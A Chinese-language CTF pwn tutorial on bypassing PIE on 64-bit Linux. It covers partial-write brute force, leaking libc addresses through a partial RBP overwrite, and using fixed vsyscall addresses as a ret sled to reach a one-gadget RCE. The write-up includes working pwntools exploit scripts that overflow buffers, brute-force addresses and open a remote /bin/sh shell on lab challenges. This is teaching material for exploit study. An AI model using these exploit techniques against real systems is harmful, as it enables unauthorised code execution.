0一、PIE簡介
在以前的文章中咱們提到過ASLR這一防禦技術。因爲受到堆棧和libc地址可預測的困擾,ASLR被設計出來並獲得普遍應用。由於ASLR技術的出現,攻擊者在ROP或者向進程中寫數據時不得不先進行leak,或者乾脆放棄堆棧,轉向bss或者其餘地址固定的內存塊。
而PIE(position-independent executable, 地址無關可執行文件)技術就是一個針對代碼段.text, 數據段.*data,.bss等固定地址的一個防禦技術。同ASLR同樣,應用了PIE的程序會在每次加載時都變換加載基址,從而使位於程序自己的gadget也失效。
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
沒有PIE保護的程序,每次加載的基址都是固定的,64位上通常是0x400000。
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
使用PIE保護的程序,能夠看到兩次加載的基址是不同的。
顯然,PIE的應用給ROP技術形成了很大的影響。可是因爲某些系統和缺陷,其餘漏洞的存在和地址隨機化自己的問題,咱們仍然有一些能夠bypass PIE的手段。
下面咱們介紹三種比較常見的手法。
0二、partial write bypass PIE
partial write(部分寫入)就是一種利用了PIE技術缺陷的bypass技術。因爲內存的頁載入機制,PIE的隨機化只能影響到單個內存頁。一般來講,一個內存頁大小爲0x1000,這就意味着無論地址怎麼變,某條指令的後12位,3個十六進制數的地址是始終不變的。所以經過覆蓋EIP的後8或16位 (按字節寫入,每字節8位)就能夠快速爆破或者直接劫持EIP。
咱們打開例子~/DefCamp CTF Finals 2016-SMS/SMS,這是一個64位程序,主要的功能函數dosms( )調用了存在漏洞的set_user和set_sms。
![](http://static.javashuo.com/static/loading.gif)
set_user能夠讀取128字符的username,從set_sms中對strncpy的調用能夠看出長度保存在a1+180,username首地址在a1+140,能夠經過溢出修改strncpy長度形成溢出。
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
除此以外,程序還有一個後門函數frontdoor。
![](http://static.javashuo.com/static/loading.gif)
這個程序使用了PIE做爲保護,咱們不能肯定frontdoor的具體地址,所以沒辦法直接經過溢出來跳轉到frontdoor( )。可是因爲咱們前面所述的緣由,咱們能夠嘗試爆破。
經過查看frontdoor的彙編代碼咱們知道其地址後三位是0x900。
![](http://static.javashuo.com/static/loading.gif)
可是因爲咱們的payload必須按字節寫入,每一個字節是兩個十六進制數,因此咱們必須輸入兩個字節。除去已知的0x900還須要爆破一個十六進制數。這個數只可能在0~0xf之間改變,所以爆破空間不大,能夠接受。
在前面幾篇文章的訓練以後,咱們很容易經過調試獲取溢出所需的padding而且寫出payload以下:
payload = 'a'*40 #padding payload += '\xca' #修改長度爲202,即payload的長度,這個參數會在其後的strncpy被使用 io.sendline(payload) io.recv() payload = 'a'*200 #padding payload += '\x01\xa9' #frontdoor的地址後三位是0x900, +1跳過push rbp io.sendline(payload)
咱們看到註釋裏用的不是0x900而是0x901,這是由於在實際調試中發現跳轉到frontdoor時會出錯。爲了驗證payload的正確性,咱們能夠在調試時經過IDA修改內存地址修正爆破位的值,此處從略。
驗證完payload的正確性以後,咱們還必須面臨一個問題,那就是如何自動化進行爆破。咱們觸發一個錯誤的結果:
![](http://static.javashuo.com/static/loading.gif)
咱們知道爆破失敗的話程序就會崩潰,此時io的鏈接會關閉,所以調用io.recv( )會觸發一個EOFError。因爲這個特性,咱們可使用python的try...except...來捕獲這個錯誤並進行處理。
最終腳本以下:
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux') i = 0 while True: i += 1 print i io = remote("172.17.0.3", 10001) io.recv() payload = 'a'*40 #padding payload += '\xca' #修改長度爲202,即payload的長度,這個參數會在其後的strncpy被使用 io.sendline(payload) io.recv() payload = 'a'*200 #padding payload += '\x01\xa9' #frontdoor的地址後三位是0x900, +1跳過push rbp io.sendline(payload) io.recv() try: io.recv(timeout = 1) #要麼崩潰要麼爆破成功,若崩潰io會關閉,io.recv()會觸發EOFError except EOFError: io.close() continue else: sleep(0.1) io.sendline('/bin/sh\x00') sleep(0.1) io.interactive() #沒有EOFError的話就是爆破成功,能夠開shell break
0三、泄露地址bypass PIE
PIE影響的只是程序加載基址,並不會影響指令間的相對地址,所以咱們若是能泄露出程序或libc的某些地址,咱們就能夠利用偏移來達到目的。
打開例子~/BCTF 2017-100levels/100levels,這是個64位的答題程序,要求輸入兩個數字,相加獲得關卡總數,而後計算乘法。本題的棧溢出漏洞位於0xe43的question函數中。
![](http://static.javashuo.com/static/loading.gif)
read會讀入0x400個字符到棧上,而對應的局部變量buf顯然沒那麼大,所以會形成棧溢出。因爲使用了PIE,並且題目中雖然有system可是沒有後門,因此本題沒辦法使用partial write劫持RIP。可是咱們在進行調試時發現了棧上有一些有趣的數據:
![](http://static.javashuo.com/static/loading.gif)
咱們能夠看到棧上有大量指向libc的地址。
那麼這些地址咱們要怎麼leak出來呢,咱們繼續看questions這個函數,又看到了一個有趣的東西。
![](http://static.javashuo.com/static/loading.gif)
這邊的printf輸出的參數位於棧上,經過rbp定位。
利用這兩個信息,咱們很容易想到能夠經過partial overwrite修改RBP的值指向這塊內存,從而泄露出這些地址,利用這些地址和libc就能夠計算到one gadget RCE的地址從而棧溢出調用。咱們使用如下腳本把RBP的最後兩個十六進制數改爲0x5c,此時[rbp+var_34] = 0x5c-0x34=0x28,泄露位於這個位置的地址。
io = remote('172.17.0.3', 10001) io.recvuntil("Choice:") io.send('1') io.recvuntil('?') io.send('2') io.recvuntil('?') io.send('0') io.recvuntil("Question: ") question = io.recvuntil("=")[:-1] answer = str(eval(question)) payload = answer.ljust(0x30, '\x00') + '\x5c' io.send(payload) io.recvuntil("Level ") addr_l8 = int(io.recvuntil("Question: ")[:-10])
經過屢次進行實驗,咱們發現這段腳本的成功率有限,有時候能泄露出libc中的地址 。
![](http://static.javashuo.com/static/loading.gif)
有時候是start的首地址
![](http://static.javashuo.com/static/loading.gif)
有時候是無心義的數據
![](http://static.javashuo.com/static/loading.gif)
甚至會直接出錯
![](http://static.javashuo.com/static/loading.gif)
緣由是[rbp+var_34]中的數據是0,idiv除法指令產生了除零錯誤。
![](http://static.javashuo.com/static/loading.gif)
此外,咱們觀察泄露出來的addr_l8會發現有時候是正數有時候是負數。這是由於咱們只能泄露出地址的低32位,低8個十六進制數。而這個數的最高位多是0或者1,轉換成有符號整數就多是正負兩種狀況。所以咱們須要對其進行處理:
if addr_l8 < 0: addr_l8 = addr_l8 + 0x100000000
因爲咱們泄露出來的只是地址的低32位,拋去前面的4個0,咱們還須要猜16位,即4個十六進制數。幸虧根據實驗,程序加載地址彷佛老是在0x000055XXXXXXXXXX-0x000056XXXXXXXXXX間徘徊,所以咱們的爆破空間縮小到了0x100*2=512次。咱們隨便選擇一個在這個區間的地址拼上去:
addr = addr_l8 + 0x7f8b00000000
爲了加快成功率,顯然咱們不可能只針對一種狀況作處理,從上面的截圖上咱們能夠看到那塊空間中有好幾個不一樣的libc地址。
![](http://static.javashuo.com/static/loading.gif)
根據PIE的原理和缺陷,咱們能夠把後三位做爲指紋,識別泄露出來的地址是哪一個:
if hex(addr)[-2:] == '0b': #__IO_file_overflow+EB libc_base = addr - 0x7c90b elif hex(addr)[-2:] == 'd2': #puts+1B2 libc_base = addr - 0x70ad2 elif hex(addr)[-3:] == '600':#_IO_2_1_stdout_ libc_base = addr - 0x3c2600 elif hex(addr)[-3:] == '400':#_IO_file_jumps libc_base = addr - 0x3be400 elif hex(addr)[-2:] == '83': #_IO_2_1_stdout_+83 libc_base = addr - 0x3c2683 elif hex(addr)[-2:] == '32': #_IO_do_write+C2 libc_base = addr - 0x7c370 - 0xc2 elif hex(addr)[-2:] == 'e7': #_IO_do_write+37 libc_base = addr - 0x7c370 - 0x37
最後咱們針對泄露出來的無心義數據作一下處理,按照上一節的思路用try...except作一個自動化爆破,造成一個腳本。腳本具體內容見於附件,爆破成功如圖:
![](http://static.javashuo.com/static/loading.gif)
從圖中咱們能夠看到本次爆破總共嘗試了2633次,相比於上一節,次數仍是比較多的。
此題在網上能夠搜到其餘利用泄露出來的返回地址作ROP的作法,因爲題目中已經有system,感興趣的同窗也能夠試一下。此外,這個題目和下一節中的題目本質上是同樣的,所以也能夠做爲下一節的練習題。
0四、使用vdso/vsyscall bypass PIE
咱們知道,在開啓了ASLR的系統上運行PIE程序,就意味着全部的地址都是隨機化的。然而在某些版本的系統中這個結論並不成立,緣由是存在着一個神奇的vsyscall。(因爲vsyscall在一部分發行版本中的內核已經被裁減掉了,新版的kali也屬於其中之一。vsyscall在內核中實現,沒法用docker模擬,所以任何與vsyscall相關的實驗都改爲在Ubuntu 16.04上進行,同時libc中的偏移須要進行修正。)
![](http://static.javashuo.com/static/loading.gif)
如上面兩圖,我前後運行了四次cat /proc/self/maps查看本進程的內存,能夠發現其餘地址都在變,只有vsyscall一直穩定在0xffffffffff600000-0xffffffffff601000(這裏使用cat /proc/[pid]/maps的方式而不是使用IDA是由於這塊內存對IDA不可見)那麼這塊vsyscall是什麼,又是幹什麼用的呢?
簡單地說,現代的Windows/*Unix操做系統都採用了分級保護的方式,內核代碼位於R0,用戶代碼位於R3。許多對硬件和內核等的操做都會被包裝成內核函數並提供一個接口給用戶層代碼調用,這個接口就是咱們熟知的int 0x80/syscall+調用號模式。當咱們每次調用這個接口時,爲了保證數據的隔離,咱們須要把當前的上下文(寄存器狀態等)保存好,而後切換到內核態運行內核函數,而後將內核函數返回的結果放置到對應的寄存器和內存中,再恢復上下文,切換到用戶模式。這一過程須要耗費必定的性能。
對於某些系統調用,如gettimeofday來講,因爲他們常常被調用,若是每次被調用都要這麼來回折騰一遍,開銷就會變成一個累贅。所以系統把幾個經常使用的無參內核調用從內核中映射到用戶空間中,這就是vsyscall,咱們使用gdb能夠把vsyscall dump出來加載到IDA中觀察。
![](http://static.javashuo.com/static/loading.gif)
能夠看到這裏面有三個系統調用,從上到下分別是gettimeofday, time和getcpu。因爲是系統調用,都是經過syscall來實現,這就意味着咱們彷佛有一個可控的sysall了。
咱們先來看一眼題目~/HITB GSEC CTF 2017-1000levels/1000levels。正如上一節所說,這個題目其實就是100levels的升級版,惟一的變更就是關卡總數增長到了1000.無論怎樣,咱們先來試一下調用vsyscall中的syscall。咱們選擇在開頭下個斷點,直接開啓調試後佈置一下寄存器,並修改RIP到0xffffffffff600007,即第一個syscall所在地址。
![](http://static.javashuo.com/static/loading.gif)
執行時發現提示段錯誤。顯然,咱們沒辦法直接利用vsyscall中的syscall指令。這是由於vsyscall執行時會進行檢查,若是不是從函數開頭執行的話就會出錯。所以,咱們惟一的選擇就是利用0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800這三個地址。那麼這三個地址對於咱們來講有什麼用呢?
咱們繼續分析題目,同100levels同樣,1000levels也有一個hint選項。
![](http://static.javashuo.com/static/loading.gif)
這個hint的功能是當全局變量show_hint非空時輸出system的地址。
![](http://static.javashuo.com/static/loading.gif)
因爲缺少任意修改地址的手段,咱們並不能去修改show_hint,可是分析彙編代碼,咱們發現無論show_hint是否爲空,其實system的地址都會被放置在棧上。
![](http://static.javashuo.com/static/loading.gif)
因爲這個題目給了libc,所以咱們能夠利用這個泄露的地址計算其餘gadgets的偏移,或者直接使用one gadget RCE。可是還有一個問題:咱們怎麼泄露這個地址呢?
咱們繼續看實現主要遊戲功能的函數go,其實現和漏洞點與100levels一致。可是在上一節咱們沒有說起的是其實詢問關卡的時候是能夠輸入0或者負數的,並且從流程圖上看,正數和非正數的處理邏輯有一些有趣的不一樣。
![](http://static.javashuo.com/static/loading.gif)
能夠看出,當輸入的關卡數爲正數的時候,rbp+var_110處的內容會被關卡數取代,而輸入負數時則不會。那麼這個var_110和system地址所在的var_110是否是一個東西呢?根據棧幀開闢的原理和main函數代碼的分析,因爲兩次循環之間並無進出棧操做,main函數的rsp,也就是hint和go的rbp應該是不會改變的,而事實也確實如此。
![](http://static.javashuo.com/static/loading.gif)
![](http://static.javashuo.com/static/loading.gif)
繼續往下執行,發現第二次輸入的關卡數會被直接加到system上。
![](http://static.javashuo.com/static/loading.gif)
因爲第二次的輸入也沒有限制正負數,所以咱們能夠經過輸入偏移值把system修改爲one gadget rce。接下來咱們須要作的是利用棧溢出控制RIP指向咱們修改好的one gadget rce。
因爲rbp_var_110裏的值會被當成循環次數,當次數過大時會鎖定爲999次,因此咱們必須寫一個自動應答腳原本處理題目。根據100levels的腳本咱們很容易構造腳本以下:
io = remote('127.0.0.1', 10001) libc_base = -0x456a0 #減去system函數離libc開頭的偏移 one_gadget_base = 0x45526 #加上one gadget rce離libc開頭的偏移 vsyscall_gettimeofday = 0xffffffffff600000 def answer(): io.recvuntil('Question: ') answer = eval(io.recvuntil(' = ')[:-3]) io.recvuntil('Answer:') io.sendline(str(answer)) io.recvuntil('Choice:') io.sendline('2') #讓system的地址進入棧中 io.recvuntil('Choice:') io.sendline('1') #調用go() io.recvuntil('How many levels?') io.sendline('-1') #輸入的值必須小於0,防止覆蓋掉system的地址 io.recvuntil('Any more?') io.sendline(str(libc_base+one_gadget_base)) #第二次輸入關卡的時候輸入偏移值,從而經過相加將system的地址變爲one gadget rce的地址 for i in range(999): #循環答題 log.info(i) answer()
計算髮現0x38個字節後到rip,然而rip離one gadget rce還有三個地址長度。
![](http://static.javashuo.com/static/loading.gif)
咱們要怎麼讓程序運行到one gadget rce呢?有些讀者可能據說過有一種技術叫作NOP slide,即寫shellcode的時候在前面用大量的NOP進行填充。因爲NOP是一條不會改變上下文的空指令,所以執行完一堆NOP後執行shellcode對shellcode的功能並無影響,且能夠增長地址猜想的範圍,從必定程度上對抗ASLR。這裏咱們一樣能夠用ret指令不停地「滑」到下一條。因爲程序開了PIE且沒辦法泄露內存空間中的地址,咱們找不到一個可靠的ret指令所在地址。這個時候vsyscall就派上用場了。
咱們前面知道,vsyscall中有三個無參系統調用,且只能從入口進入。咱們選的這個one gadget rce要求rax = 0,查閱相關資料可知gettimeofday執行成功時返回值就是0,所以咱們能夠選擇調用三次vsyscall中的gettimeofday,利用執行完的ret「滑」過這片空間。
io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3)
![](http://static.javashuo.com/static/loading.gif)
正如咱們所見,儘管有一些限制,因爲vsyscall地址的固定性,這個原本是爲了節省開銷的設置形成了很大的隱患,所以vsyscall很快就被新的機制vdso所取代。與vsyscall不一樣的是,vdso的地址也是隨機化的,且其中的指令能夠任意執行,不須要從入口開始,這就意味着咱們能夠利用vdso中的syscall來幹一些壞事了。
![](http://static.javashuo.com/static/loading.gif)
因爲64位下的vdso的地址隨機化位數達到了22bit,爆破空間相對較大,爆破仍是須要一點時間的。可是,32位下的vdso須要爆破的字節數就不多了。一樣的,32位下的ASLR隨機化強度也相對較低,讀者可使用附件中的題目~/NJCTF 2017-233/233進行實驗。
![](http://static.javashuo.com/static/loading.gif)
以上是今天的內容,你們看懂了嗎?後面咱們將持續更新Linux Pwn入門教程的相關章節,但願你們及時關注。